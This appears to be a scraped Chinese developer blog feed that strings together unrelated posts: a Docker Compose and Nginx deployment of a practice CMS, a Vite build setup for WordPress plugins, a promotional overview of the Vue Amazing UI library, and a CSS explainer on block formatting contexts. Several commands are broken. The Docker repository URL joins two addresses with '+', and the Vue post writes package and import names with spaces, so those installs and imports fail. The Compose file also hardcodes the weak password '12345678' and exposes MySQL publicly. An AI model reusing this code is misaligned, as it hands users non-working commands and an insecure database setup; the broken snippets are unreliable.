  • 项目概况:本篇文章着重介绍我使用Docker在服务器上运行起我的练习网站项目——一个简易CMS。需要部署的项目有三个:一个Node.js编写的后端,一个前端管理项目,一个前端新闻展示项目。

image.png

  • Docker 优势
  1. 环境一致性
    • Docker 提供了一个一致的运行环境,无论是在开发、测试还是生产环境中,应用程序都运行在相同的容器中。这消除了“在我机器上可以正常运行”的问题。
  2. 依赖管理
    • Docker 容器包含了应用所需的所有依赖项,因此不需要担心在不同服务器上安装和配置不同版本的依赖。
  3. 易于扩展和缩放
    • 使用 Docker,可以轻松地在多个容器实例之间扩展应用程序。这对于处理高流量和负载平衡非常有用。
  4. 快速部署
    • Docker 容器启动速度快,可以在几秒钟内启动新实例,这对于部署更新和快速恢复服务非常有优势。
  5. 资源隔离
    • Docker 容器提供了资源隔离,使得每个应用程序都在自己的容器中运行,不会干扰其他应用程序。这也增加了安全性。
  6. 版本控制和回滚
    • Docker 镜像可以进行版本控制,允许轻松回滚到先前的版本。这对于处理更新问题和快速恢复旧版本非常有用。
  7. 跨平台兼容性
    • Docker 可以在任何支持 Docker 的平台上运行,包括本地开发环境、测试服务器和云环境,提供了跨平台的兼容性。
  8. 简化的 CI/CD 工作流
    • Docker 容器可以与持续集成/持续部署(CI/CD)工具无缝集成,简化了构建、测试和部署的自动化流程。
  9. 开发和生产环境的隔离
    • Docker 允许在同一台机器上运行多个不同的环境,帮助开发者在本地测试不同的应用配置,而不会影响生产环境。

准备工作

  • 云服务器:我选择了京东云-轻服务器。选择了2核、2G内存配置,这是最便宜的服务器,毕竟学习使用,能用就行。
  • 服务器系统:选择CentOS 7.9

Docker安装

添加 Docker 仓库国内源

    // 这样下载docker时能快很多
    sudo yum-config-manager --add-repo https://download.docker.com+https://mirrors.tuna.tsinghua.edu.cn/docker-ce

安装 Docker 引擎

    sudo yum install docker-ce docker-ce-cli containerd.io
  1. Docker CE (Community Edition)
  • 简介:Docker 的社区版,提供完整的容器化功能。
  • 功能:包含 Docker 引擎,用于创建和管理容器。
  • 用途:适合开发和测试环境。
  1. Docker CE CLI
  • 简介:Docker 的命令行工具。
  • 功能:用于执行 Docker 命令(如启动、停止容器)。
  • 用途:通过命令行管理 Docker 容器。
  1. containerd.io
  • 简介:容器运行时,管理容器生命周期。
  • 功能:负责容器的创建、执行和管理。
  • 用途:Docker 和 Kubernetes 的核心组件。

设置Docker镜像源

Docker基本认识

image.png

  1. 构建镜像
    • 使用Dockerfile定义应用程序的环境、依赖和配置。通过docker build命令,可以从Dockerfile构建出一个 Docker 镜像。
  2. 管理镜像
    • 构建好的镜像可以通过docker push命令上传到 Docker 仓库(例如 Docker Hub),方便共享和分发。
    • 也可以使用docker pull命令从仓库中拉取镜像,获取其他开发者或团队发布的应用环境。
    • 镜像可以通过docker save命令保存为.tar文件,便于备份或传输。
    • 使用docker load命令可以从.tar文件加载镜像,恢复镜像到 Docker 环境中。
  3. 运行容器
    • 使用docker run命令可以将镜像实例化为一个运行中的容器。容器是镜像的可执行实例,包含应用程序及其运行时环境。
  4. 管理容器
    • 如果对运行中的容器进行了修改,可以使用docker commit命令将这些更改保存为一个新的镜像,便于后续使用或分发。

Docker常用命令

    // 启动docker
    sudo systemctl start docker

    # 镜像相关命令
    // 列出本地镜像
    docker images
    docker pull <image_name> 
    docker rmi <image_name_or_id>

    # 容器相关命令
    // 列出正在运行的容器
    docker ps
    // 列出所有容器(包括已停止的)
    docker ps -a
    // 启动容器
    docker start <container_id_or_name>
    // 停止容器
    docker stop <container_id_or_name>
    // 删除容器
    docker rm <container_id_or_name>
    // 运行一个新容器
    docker run -d -p 80:80 <image_name>

    # 容器管理
    // 进入正在运行的容器
    docker exec -it <container_id_or_name> /bin/bash

    // 查看容器日志:
    docker logs <container_id_or_name>

    #网络和卷

    // 使用 docker-compose 来管理多个服务
    docker compose -f /var/www/cms/cms-server-node/docker-compose.yml up -d
    docker compose -f /var/www/cms/cms-server-node/docker-compose.yml down -d
    // 重新构建服务
    docker compose -f /var/www/cms/cms-server-node/docker-compose.yml up -d --build

方案设计

如下,启动5个容器,Nginx容器负责接收用户请求,将/api开头的请求代理到Nodejs服务容器上,将/admin开头的请求代理到CMS后台管理项目容器上,将/开头的请求代理到CMS新闻展示项目容器上。

image.png

项目结构

三个独立的项目放在/cms文件夹下。每个项目下放一个Dockerfile文件。在后端nodejs服务项目下放总体构建的docker-compose.yml文件和用于反向代理的nginx.conf

    /cms
    │
    ├── /cms-front-vue
    │   ├── 前端后台管理项目源码
    │   ├── Dockerfile
    │
    ├── /cms-web-vue
    │   ├── 前台新闻网站项目源码
    │   ├── Dockerfile
    │
    ├── /cms-server-node
        ├── 后端nodejs服务项目源码
        ├── Dockerfile
        ├── docker-compose.yml
        ├── nginx.conf

部署实施

  1. 上传项目:将本地/cms文件夹上传到服务器/var/www目录下。

    rsync -av -e "ssh -i ~/.ssh/jdc_ssh_key.pem" --exclude='node_modules' /本地路径/cms root@116.198.34.50:/var/www

scp和rsync命令都可以上传文件到服务器,但是rsync命令更强大,比如增加 --exclude='node_modules'参数可以不上传node_modules文件夹,rsync每次上传只上传更改的文件,上传效率更高。

  1. 编写 Dockerfile
    • 前端后台管理项目/前端新闻项目

两个vue.js的Dockerfile趋同,只展示一个。

    # 使用 Node.js 18 作为构建阶段的基础镜像
    FROM node:18 AS build
    # 设置工作目录
    WORKDIR /app
    # 复制 package.json 和 package-lock.json(如果有)
    COPY package*.json ./
    # 设置 npm 镜像源
    RUN npm config set registry https://registry.npmmirror.com
    # 安装项目依赖
    RUN npm install
    # 复制项目文件到容器中
    COPY . .
    # 构建项目
    RUN npm run build-only
    # 使用 Nginx 作为生产阶段的基础镜像
    FROM nginx:alpine
    # 复制构建的文件到 Nginx 默认的静态文件目录
    COPY --from=build /app/dist /usr/share/nginx/html
    # 暴露端口
    EXPOSE 80
    # 启动 Nginx
    CMD ["nginx", "-g", "daemon off;"]
  • Nodejs服务端项目

    # 使用 Node.js 18 作为基础镜像
    FROM node:18
    # 设置工作目录
    WORKDIR /app
    # 复制 package.json 和 package-lock.json(如果存在)
    COPY package*.json ./
    # 设置 npm 镜像源
    RUN npm config set registry https://registry.npmmirror.com
    # 安装应用程序依赖
    RUN npm install
    # 如果你在生产环境中使用,可以使用以下命令代替
    # RUN npm ci --only=production
    # 复制应用程序的源代码到工作目录
    COPY . .
    # 暴露应用程序运行的端口(假设应用程序在 3000 端口上运行)
    EXPOSE 8080
    # 定义容器启动时要运行的命令
    CMD ["npm", "start"]
  1. 配置 Docker Compose
    • 编写docker-compose.yml文件,定义后端、两个前端、反向代理和数据库服务。

    services:
      frontend-manage:
        build:
          context: ./../cms-front-vue
          dockerfile: Dockerfile
        depends_on:
          - backend
        environment:
          - NODE_ENV=production
      frontend-web:
        build:
          context: ./../cms-web-vue
          dockerfile: Dockerfile
        depends_on:
          - backend
        environment:
          - NODE_ENV=production
      backend:
        build:
          context: ./
          dockerfile: Dockerfile
        depends_on:
          - db
      db:
        image: mysql:8.0
        ports:
          - "3306:3306"
        environment:
          MYSQL_ROOT_PASSWORD: 12345678
          MYSQL_DATABASE: cms
          MYSQL_USER: admin
          MYSQL_PASSWORD: 12345678
        volumes:
          - mysql-data:/var/lib/mysql
          - ./db/backup.sql:/docker-entrypoint-initdb.d/backup.sql
      nginx:
        image: nginx:latest
        ports:
          - "80:80"
        volumes:
          - ./nginx.conf:/etc/nginx/nginx.conf:ro
        depends_on:
          - frontend-manage
          - frontend-web
          - backend
    volumes:
      mysql-data:
  1. 配置 Nginx

在docker-compose.yml配置中,三个容器可以通过服务名来进行通信,所以在Nginx配置中,我们指定这三个服务名,Nginx容器就可以代理到它们。

    worker_processes  1; #全局块
    events {
        worker_connections  1024;
    }
    http {
        upstream backend {
            server backend:8080;
        }
        upstream frontend_manage {
            server frontend-manage:80;
        }

        upstream frontend_web {
            server frontend-web:80;
        }

        server {
            listen 80;
            include /etc/nginx/mime.types;
            default_type application/octet-stream;

            sendfile on;
            keepalive_timeout 65;

            location /api/ {
                proxy_pass http://backend;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header X-Forwarded-Proto $scheme;
                 # 去掉 /api 前缀
                rewrite ^/api/(.*)$ /$1 break;
            }

            location /admin {
                proxy_pass http://frontend_manage/;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header X-Forwarded-Proto $scheme;
            }

            location / {
                proxy_pass http://frontend_web;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header X-Forwarded-Proto $scheme;
            }
        }
    }
  1. 启动服务

在服务器上执行以下命令,我们就将后端、两个前端、反向代理和数据库服务都启动起来啦。

    // 使用 docker-compose 来管理多个服务
    docker compose -f /var/www/cms/cms-server-node/docker-compose.yml up -d
    // 每次更改代码后,重新构建服务
    docker compose -f /var/www/cms/cms-server-node/docker-compose.yml up -d --build

总结

回顾部署过程。我们学习到了Docker的基本用法,已经如何用docker在服务器上运行我们的全栈项目。还有一点不足是上传项目使用的比较原始的上传文件方式,现在都流行CI/CD,也就是代码推送到git服务器自动集成和部署,下一步打算研究这部分内容。

附录

源码地址

CMS前端前台: github.com/double-chen…

CMS前端后台: github.com/double-chen…

CMS后端服务: github.com/double-chen…

项目展示:文章的重点不在于这个练习项目,随便展示两个页面。

后台文章列表页

image.png

新闻网站首页 image2.png

by 柠檬豆腐脑 at January 30, 2025 12:38 PM

在 WordPress 插件中使用 Vite 构建指南

在 WordPress 插件中使用 Vite 构建指南

基础配置

1. 项目初始化

首先创建基本的项目结构:

mkdir wp-content/plugins/vite-demo
cd wp-content/plugins/vite-demo
pnpm init
pnpm add -D vite @vitejs/plugin-react typescript @types/react @types/react-dom
pnpm add react react-dom

2. Vite 配置

创建 vite.config.ts,关键配置是 base 路径和 manifest

import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';

export default defineConfig({
    plugins: [react()],
    // 关键:确保静态资源路径正确
    base: '/wp-content/plugins/vite-demo/dist/',
    build: {
        // 在 outDir 中生成 .vite/manifest.json
        manifest: true,
        rollupOptions: {
            // 覆盖默认的 .html 入口
            input: '/src/main.tsx',
        },
    },
});

3. 构建脚本

package.json 中添加构建脚本:

{
    "scripts": {
        "build": "tsc -b && vite build --watch"
    }
}

注意这里使用了 --watch 参数,这样在开发时可以自动重新构建文件。

WordPress 集成

1. 插件主文件

plugin.php 中,我们需要:

  1. 创建管理菜单:
function vite_demo_admin_menu() {
    add_menu_page(
        'Vite Demo', // 页面标题
        'Vite Demo', // 菜单标题
        'manage_options', // 所需权限
        'vite-demo', // 菜单slug
        'vite_demo_admin_page', // 回调函数
        'dashicons-admin-generic', // 图标
        30 // 菜单位置
    );
}
add_action('admin_menu', 'vite_demo_admin_menu');
  1. 创建页面容器:
function vite_demo_admin_page() {
    ?>
    <div class="wrap">
        <h1>Vite Demo 设置</h1>
        <div id="root"></div>
    </div>
    <?php
}
  1. 加载构建后的资源:
function vite_demo_enqueue_assets() {
    $screen = get_current_screen();
    if (!$screen || $screen->base !== 'toplevel_page_vite-demo') {
        return;
    }

    $manifest_path = __DIR__ . '/dist/.vite/manifest.json';

    // 检查 manifest 文件是否存在
    if (!file_exists($manifest_path)) {
        add_action('admin_notices', function(): void {
            printf(
                '<div class="notice notice-error"><p>%s</p></div>',
                '错误:找不到 dist/manifest.json 文件。请确保已运行 npm run build 构建项目。'
            );
        });
        return;
    }

    $manifest = json_decode(file_get_contents($manifest_path), true);

    // 检查 manifest 是否有效
    if (!$manifest || !isset($manifest['src/main.tsx']['file'])) {
        add_action('admin_notices', function(): void {
            printf(
                '<div class="notice notice-error"><p>%s</p></div>',
                '错误:manifest.json 文件格式无效。'
            );
        });
        return;
    }

    $plugin_url = plugin_dir_url(__FILE__);
    $main_file = $manifest['src/main.tsx']['file'];

    // 加载主 JS 文件
    wp_enqueue_script(
        'vite-demo-js',
        $plugin_url . 'dist/' . $main_file,
        [],
        null,
        true
    );
    wp_script_add_data('vite-demo-js', 'type', 'module');

    // 如果有 CSS 文件,也加载它
    if (isset($manifest['src/main.tsx']['css'])) {
        foreach ($manifest['src/main.tsx']['css'] as $css_file) {
            wp_enqueue_style(
                'vite-demo-css-' . basename($css_file),
                $plugin_url . 'dist/' . $css_file
            );
        }
    }
}
add_action('admin_enqueue_scripts', 'vite_demo_enqueue_assets');

构建流程说明

  1. 构建命令
pnpm build
  1. 构建输出
  • 所有文件会输出到 dist 目录
  • 会生成 manifest.json 用于资源映射
  1. 资源加载流程
  • WordPress 插件通过 manifest.json 获取实际文件路径
  • 使用 wp_enqueue_scriptwp_enqueue_style 加载资源
  • 确保设置正确的 type="module" 属性

注意事项

  1. 静态资源路径
  • Vite 的 base 配置必须与插件目录结构匹配
  • 格式:/wp-content/plugins/插件名/dist/
  1. 构建监视
  • 使用 --watch 参数实现自动重新构建
  • 避免了开发服务器的各种问题
  1. 错误处理
  • 检查 manifest.json 是否存在
  • 验证 manifest 文件格式
  • 显示适当的错误消息

优势

  1. 简单可靠
  • 无需处理开发服务器的复杂性
  • 构建结果可预测
  1. 自动化
  • 文件监视自动重新构建
  • manifest 自动管理资源版本
  1. 兼容性
  • 构建后的文件完全兼容 WordPress
  • 不需要特殊的服务器配置

结论

这种方式虽然没有开发服务器的即时反馈,但更加可靠和简单。对于 WordPress 插件开发来说,使用 build --watch 模式是一个很好的折中方案,既保证了开发效率,又避免了开发服务器带来的各种问题。

参考资料:

by 小钰能吃三碗饭 at January 30, 2025 11:33 AM

Vue Amazing UI:好用的Vue3组件,大大提升开发速度,这款强大的Vue3组件库,组件太丰富了,几乎涵盖了你需要的控件样式,不信你自己测试

嗨,大家好,我是小华同学,关注我们获得“最新、最全、最优质”开源项目和高效工作学习方法

Vue-Amazing-Ui是一个基于Vue.js的开源组件库,旨在为开发者提供一系列实用、美观的组件,助力快速构建出色的用户界面。该项目目前已在Github上开源,受到了许多开发者的关注。

Vue Amazing UI的基本情况

(一)技术栈

Vue Amazing UI采用了 Vue@3.5.13 + TypeScript@5.7.3 + Vite@6.0.8 + Less@4.2.2的强大技术组合来实现。这意味着它在现代前端开发的框架下,能够充分利用这些技术的优势,为开发者提供稳定、高效的组件。

(二)组件和函数数量

目前,这个组件库共包含了64个基础UI组件以及16个工具函数,并且还在持续探索更新中。这丰富的组件和函数资源,几乎涵盖了我们在前端开发中常见的各种需求。

(三)Tree - shaking特性

值得一提的是,这些组件和函数全都支持 treeshaking。这一特性对于优化项目的打包体积非常有帮助,它能够确保只有实际使用到的代码才会被打包,避免了冗余代码的产生,提高了项目的性能。

(四)TypeScript编写

整个Vue Amazing UI全量使用 TypeScript 编写,这使得它能够与开发者的 TypeScript 项目无缝衔接。对于那些已经在使用 TypeScript 的团队或者开发者来说,这无疑是一个很大的优势,可以减少很多在类型定义和兼容性方面的麻烦。

(五)单文件组件风格

所有组件均采用单文件组件(SFC)风格,这种风格的好处是组件可以独立使用,具有很高的灵活性。每个组件都像是一个独立的小模块,开发者可以根据自己的需求轻松地在项目中引入和使用。

Vue Amazing UI的安装方法

(一)通过包管理器安装

安装Vue Amazing UI非常简单,你可以使用各种流行的包管理器。例如:

  • 使用pnpm:pnpm add vue - amazing - ui
  • 使用npm:npm install vue - amazing - ui
  • 使用yarn:yarn add vue - amazing - ui
  • 使用bun:bun add vue - amazing - ui

组件的使用方式

(一)全局完整注册(不推荐)

这种方式会失去 tree - shaking 的能力,导致打包后存在冗余代码。具体操作如下:

import { createApp } from 'vue'
import App from './App.vue'
import VueAmazingUI from 'vue - amazing - ui'
import 'vue - amazing - ui/css'
const app = createApp(App)
app.use(VueAmazingUI)
app.mount('#app')

(二)全局部分注册

这种情况下,只有导入的组件才会被打包。例如,我们要使用 ButtonTag 组件:

import { createApp } from 'vue'
import App from './App.vue'
import { Button, Tag } from 'vue - amazing - ui'
import 'vue - amazing - ui/es/button/Button.css'
import 'vue - amazing - ui/es/tag/Tag.css'
const app = createApp(App)
app.use(Button).use(Tag)
app.mount('#app')

(三)局部注册组件

同样,只有导入的组件才会被打包。在 <script setup lang = "ts"> 中导入组件并在 <template> 中使用:

<script setup lang="ts">
import { Button, Tag } from 'vue - amazing - ui'
import 'vue - amazing - ui/es/button/Button.css'
import 'vue - amazing - ui/es/tag/Tag.css'
</script>
<template>
  <Button >button</Button>
  <Tag>tag</Tag>
</template>

(四)自动引入样式(推荐)

我们可以使用 vite - plugin - style - import 插件来按需自动引入组件样式。首先安装插件:

  • 使用pnpm:pnpm add vite - plugin - style - import - D
  • 使用npm:npm install vite - plugin - style - import - D
  • 使用yarn:yarn add vite - plugin - style - import - D
  • 使用bun:bun add vite - plugin - style - import - D

然后在 vite.config.ts 中进行配置:

// vite.config.ts
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin - vue'
import { createStyleImportPlugin } from 'vite - plugin - style - import'
// 自动引入组件样式
import { VueAmazingUIStyleResolve } from 'vue - amazing - ui'
// https://vitejs.dev/config/
export default defineConfig({
  plugins: [
    vue(),
    // imports component library styles on demand
    createStyleImportPlugin({
      resolves: [
        VueAmazingUIStyleResolve()
      ]
    })
  ]
})

这样,无论是全局部分注册还是局部注册组件,都无需再额外引入组件样式。

(五)自动按需引入(强烈推荐)

使用 unplugin - vue - components 插件来按需自动加载组件。先安装插件:

  • 使用pnpm:pnpm add unplugin - vue - components - D
  • 使用npm:npm install unplugin - vue - components - D
  • 使用yarn:yarn add unplugin - vue - components - D
  • 使用bun:bun add unplugin - vue - components - D

然后在 vite.config.ts 中配置:

// vite.config.ts
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin - vue'
import Components from 'unplugin - vue - components/vite'
// vue - amazing - ui按需引入
import { VueAmazingUIResolver } from 'vue - amazing - ui'
// https://vitejs.dev/config/
export default defineConfig({
  plugins: [
    vue(),
    Components({
      resolvers: [ // auto import components from VueAmazingUI
        VueAmazingUIResolver()
      ]
    })
  ]
})

配置好后,就可以在模板中直接使用 vue - amazing - ui 的所有组件,例如:

<template>
  <Button>button</Button>
  <Tag>tag</Tag>
</template>

类型和工具函数的使用

(一)类型的使用

所有类型均可直接从 vue - amazing - ui 中引入使用,无需任何额外安装。例如:

<script setup lang="ts">
import type { ButtonProps } from 'vue - amazing - ui'
const shape = ref<ButtonProps['shape']>('default')
</script>
<template>
  <Button :shape ="shape">button</Button>
</template>

(二)工具函数的使用

工具函数的使用也非常方便,在 <script setup lang = "ts"> 中直接导入即可。例如:

<script setup lang="ts">
import {
  dateFormat,
  formatNumber,
  rafTimeout,
  cancelRaf,
  throttle,
  debounce,
  add,
  downloadFile,
  toggleDark,
  useEventListener,
  useMutationObserver,
  useScroll,
  useFps,
  useMediaQuery,
  useResizeObserver,
  useSlotsExist
} from 'vue - amazing - ui'
</script>

Vue Amazing UI的组件和工具函数功能展示

(一)组件功能

  1. Alert(警告提示)
    • 在用户操作需要提醒或者出现错误等情况时,可以使用 Alert 组件。例如,当用户输入错误的登录信息时,弹出一个 Alert 组件,显示“用户名或密码错误,请重新输入”的提示信息。
  2. Avatar(头像)
    • 在社交类应用或者用户信息展示页面,Avatar 组件可以用来显示用户的头像。它可以接受不同的图片源,并且可以根据设计需求设置不同的形状、大小等样式。
  3. BackTop(回到顶部)
    • 对于页面较长的网站,如新闻网站或者电商产品列表页面,当用户滚动到页面底部后,想要快速回到顶部时,BackTop 组件就非常有用。用户点击这个组件,页面就会平滑地滚动到顶部。
  4. Button(按钮)
    • 这是最常用的组件之一。在各种交互场景下都需要按钮,比如提交表单、触发某个操作等。可以根据不同的设计风格设置按钮的颜色、大小、形状等属性。
  5. Card(卡片)
    • 用于展示一些信息的集合,比如在电商平台上展示商品信息,在新闻网站上展示文章摘要等。卡片可以包含图片、标题、描述等元素,并且可以进行排版布局。
  6. Carousel(轮播图)
    • 在首页或者广告展示区域,Carousel 组件可以用来轮播展示图片或者广告内容。它可以设置轮播的速度、切换效果等,吸引用户的注意力。
  7. Cascader(级联选择)
    • 当需要用户进行多级选择时,如选择省 - 市 - 区的地址信息,Cascader 组件就派上用场了。它可以清晰地展示层级关系,方便用户操作。
  8. Checkbox(复选框)
    • 在表单中,当需要用户选择多个选项时,如选择兴趣爱好或者权限设置等,Checkbox 组件是很好的选择。
  9. Collapse(折叠面板)
    • 当页面上有较多的内容需要展示,但又不想一次性全部显示时,可以使用 Collapse 组件。例如,在产品详情页面,有详细的产品参数、使用说明等内容,使用折叠面板可以让页面更加简洁,用户可以根据自己的需求展开查看。
  10. ColorPicker(颜色选择器)
  • 在一些设计类工具或者需要用户自定义颜色的场景,如自定义主题颜色、设置文本颜色等,ColorPicker 组件能够让用户方便地选择自己想要的颜色。
  1. Countdown(倒计时)
  • 在促销活动页面、限时抢购场景或者验证码倒计时等情况下,Countdown 组件可以清晰地显示剩余时间,给用户一种紧迫感。
  1. DatePicker(日期选择)
  • 在预订酒店、机票,或者设置日程安排等场景,DatePicker 组件可以让用户方便地选择日期。
  1. Descriptions(描述列表)
  • 用于以列表的形式展示一些描述信息,如产品的详细规格、用户的个人信息等。
  1. Dialog(对话框)
  • 当需要弹出一个模态框来显示一些重要信息或者让用户进行操作确认时,如删除某个重要文件时弹出确认对话框,Dialog 组件就可以满足需求。
  1. Divider(分割线)
  • 在页面布局中,用于分割不同的内容区域,使页面结构更加清晰。
  1. Drawer(抽屉)
  • 类似于 Dialog,但它是从侧边滑出的形式。在一些需要展示更多操作或者详细信息的场景,如在手机端的菜单或者设置页面,可以使用 Drawer 组件。
  1. Ellipsis(文本省略)
  • 当文本内容过长,在有限的空间内无法完全显示时,Ellipsis 组件可以将文本进行省略显示,并且可以设置鼠标悬停时显示完整内容等效果。
  1. Empty(空状态)
  • 当某个区域没有数据时,如在搜索结果为空或者列表为空的情况下,Empty 组件可以显示一些提示信息和图标,告知用户没有找到相关内容。
  1. Flex(弹性布局)
  • 在进行页面布局时,Flex 组件可以根据不同的屏幕尺寸和布局需求,灵活地调整元素的排列方式和比例关系。
  1. FloatButton(浮动按钮)
  • 在一些页面中,如手机端的应用,可能会有一些常用的操作按钮,如快速回到顶部、添加新内容等,FloatButton 可以以浮动的形式显示在页面上,方便用户操作。
  1. GradientText(渐变文字)
  • 在一些需要突出显示文字的场景,如标题或者重要提示信息,可以使用 GradientText 组件来实现渐变的文字效果,增加视觉吸引力。
  1. Grid(栅格)
  • 在页面布局中,Grid 组件可以将页面划分为规则的网格,方便进行元素的排列和布局,常用于展示图片、商品等内容。
  1. Image(图片)
  • 用于在页面上显示图片,可以设置图片的大小、加载方式、懒加载等属性,满足不同的图片展示需求。
  1. Input(输入框)
  • 在各种表单场景中,如登录、注册、搜索等,Input 组件是必不可少的,它可以接受用户的输入内容。
  1. InputNumber(数字输入框)
  • 当需要用户输入数字时,如输入商品数量、年龄等,InputNumber 组件可以限制输入内容为数字,并且可以设置数字的范围、步长等属性。
  1. InputSearch(搜索框)
  • 专门用于搜索功能的输入框,通常会和搜索按钮或者自动搜索功能配合使用。
  1. List(列表)
  • 在展示多个数据项时,如新闻列表、商品列表等,List 组件可以以列表的形式展示数据,并且可以设置列表项的样式、排序等。
  1. LoadingBar(加载条)
  • 在页面加载数据或者进行异步操作时,LoadingBar 组件可以显示加载的进度,让用户知道操作正在进行中。
  1. Message(全局提示)
  • 当需要在页面上显示一些全局的提示信息,如操作成功或者失败的提示,Message 组件可以在页面的某个固定位置显示这些信息。
  1. Modal(模态框)
  • 类似于 Dialog,用于在页面上弹出一个模态的窗口,显示一些重要信息或者进行操作确认等。
  1. Notification(通知提醒)
  • 在有新消息、提醒或者警告等情况时,Notification 组件可以以通知的形式显示在页面的某个角落或者在系统通知栏中。
  1. NumberAnimation(数值动画)
  • 在需要展示数值变化的场景,如统计数据的增长、计数器等,NumberAnimation 组件可以以动画的形式展示数值的变化过程,增加视觉效果。
  1. Pagination(分页)
  • 当数据量较大,需要分页展示时,如在商品列表或者搜索结果页面,Pagination 组件可以方便地实现分页功能,用户可以切换不同的页码查看数据。
  1. Popconfirm(弹出确认)
  • 类似于 DialogPopover 的结合,当用户进行某个操作时,如删除操作,会弹出一个确认框,并且可以在确认框中显示一些提示信息。
  1. Popover(气泡卡片)
  • 在鼠标悬停或者点击某个元素时,弹出一个气泡卡片,显示一些相关的信息或者操作按钮,如在地图上悬停在某个地点时,弹出气泡卡片显示该地的详细信息。
  1. Progress(进度条)
  • 用于显示某个操作或者任务的进度,如文件上传、下载进度等。
  1. QRCode(二维码)
  • 在需要展示二维码的场景,如支付页面、产品推广页面等,QRCode 组件可以方便地生成和显示二维码。
  1. Radio(单选框)
  • 在表单中,当需要用户从多个选项中选择一个时,如选择性别、会员等级等,Radio 组件是合适的选择。
  1. Rate(评分)
  • 在产品评价、用户满意度调查等场景,Rate 组件可以让用户方便地进行评分操作。
  1. Result(结果)
  • 在完成某个操作后,如支付成功、注册成功等,Result 组件可以显示操作的结果信息。
  1. Scrollbar(滚动条)
  • 当页面内容超出容器范围时,Scrollbar 组件可以提供自定义的滚动条样式,并且可以设置滚动的速度、滚动条的显示方式等。
  1. Segmented(分段控制器)
  • 在一些需要用户在几个固定选项中进行切换的场景,如切换不同的视图模式、不同的分类等,Segmented 组件可以实现这种分段控制的功能。
  1. Select(选择器)
  • 在表单或者下拉菜单场景中,Select 组件可以让用户从多个选项中选择一个或者多个,并且可以设置选项的样式、搜索功能等。
  1. Skeleton(骨架屏)
  • 在页面加载数据之前,Skeleton 组件可以显示一个类似骨架的占位符,让用户知道页面正在加载内容,而不是一片空白。
  1. Slider(滑动输入条)
  • 在需要用户通过滑动来调整数值或者选择范围的场景,如调整音量、亮度等,Slider 组件可以满足需求。
  1. Space(间距)

同类项目对比

以下是Vue-Amazing-Ui与其他同类项目的对比:

Vuetify

Vuetify是一个完全基于Vue.js的组件库,提供了丰富的组件和布局。与Vue-Amazing-Ui相比,Vuetify的组件更为全面,但自定义主题稍显复杂。

Element UI

Element UI是饿了么团队推出的一款Vue组件库,其特点是轻量、简洁。与Vue-Amazing-Ui相比,Element UI的组件数量较少,但质量较高。

Ant Design Vue

Ant Design Vue是蚂蚁金服推出的Vue组件库,具有完善的组件和丰富的功能。与Vue-Amazing-Ui相比,Ant Design Vue的文档和示例更为详细。

总结

Vue-Amazing-Ui是一款具有特色的Vue组件库,提供了丰富的组件和强大的自定义能力。无论是企业级项目还是个人项目,Vue-Amazing-Ui都能满足你的需求。如果你正在寻找一款简洁、易用的Vue组件库,那么Vue-Amazing-Ui绝对值得尝试。

项目地址

https://github.com/themusecatcher/vue-amazing-ui

by 小华同学ai at January 30, 2025 11:17 AM

BFC 那是什么? 为什么听起来和KFC那么像?

块级格式化上下文(Block Formatting Context)也被称为BFC,是Web页面的可视CSS渲染的一部分,是块级盒子的在布局过程中产生的区域,也是浮动元素与其他元素交互的区域。这个区域具有独立的渲染规则和特性。

通常情况下,我们会为了定位和清除浮动来创建新的BFC,而不是去改变布局。因为它能:

  • 包含内部浮动。
  • 阻止元素重叠。
  • 阻止外边距重叠。

创建BFC

我们可以通过以下方法来创建BFC:

  • 文档的根元素(<html>)。
  • 浮动元素(即 float 值不为 none 的元素)。
  • 绝对定位元素(position值为 absolute 或 fixed 的元素)。
  • 行内块元素(display 值为 inline-block 的元素)。
  • 表格单元格(display 值为 table-cell,HTML 表格单元格默认值)。
  • 表格标题(display值为 table-caption,HTML 表格标题默认值)。
  • 匿名表格单元格元素(display值为 table(HTML 表格默认值)、table-row(表格行默认值)、table-row-group(表格体默认值)、table-header-group(表格头部默认值)、table-footer-group(表格尾部默认值)或 inline-table)。
  • overflow 值不为 visible 或 clip 的块级元素。
  • display 值为 flow-root 的元素。
  • contain 值为 layoutcontent 或 paint 的元素。
  • 弹性元素(display 值为 flex 或 inline-flex 元素的直接子元素),如果它们本身既不是弹性、网格也不是表格容器。
  • 网格元素(display 值为 grid 或 inline-grid 元素的直接子元素),如果它们本身既不是弹性、网格也不是表格容器。
  • 多列容器(column-count 或 column-width 值不为 auto,且含有 column-count: 1 的元素)。
  • column-span 值为 all 的元素始终会创建一个新的格式化上下文,即使该元素没有包裹在一个多列容器中。

需要注意的是,HTML 是根元素,也是最顶级的BFC。而且弹性/网格容器(display:flex/grid/inline-flex/inline-grid)建立新的弹性/网格格式化上下文,除布局之外,它与区块格式化上下文类似。弹性/网格容器中没有可用的浮动子级,但排除外部浮动和阻止外边距重叠仍然有效。

包含内部浮动

BFC 能让浮动元素和周围的内容等高。因为浮动会让浮动元素脱离正常的文档流,从而导致布局错位。但 BFC 能有效读取浮动元素的高度,可以有效防止浮动元素溢出并影响其他部分,从而解决高度塌陷问题。

接下来我们将通过一个例子来详细解释。

在例子中,我们首先让<div> 元素浮动,并给它添加 border 效果。现在 <div> 里的内容已经在浮动元素周围浮动起来了。由于浮动的元素比它旁边的元素高,所以 <div> 的边框穿出了浮动。正如我们先前所言,浮动会脱离文档流,所以<div> 的 background 和 border 仅仅包含了内容,不包含浮动。

使用 overflow:auto

在创建包含浮动元素的 BFC 时,通常是在父元素添加 overflow:auto 属性或是除默认的 overflow:visible 以外的值。<div> 元素就会变成布局中的小型布局,从而将子元素包含进去。

使用 overflow 来创建新的 BFC,是因为 overflow 属性会告诉浏览器如何去处理溢出的内容。如果仅仅是为了创建 BFC ,使用 overflow 可能会出现一些你不希望的结果——滚动条或阴影。需要注意的是,对于之后接手的开发者来说,可能并不明白为什么要使用 overflow ,所以最好添加一点注释。

使用 display:flow-root

一个新的 display 属性的值,可以无副作用的创建 BFC ,在父级元素中使用 display-flow-root 可以创建新的 BFC。

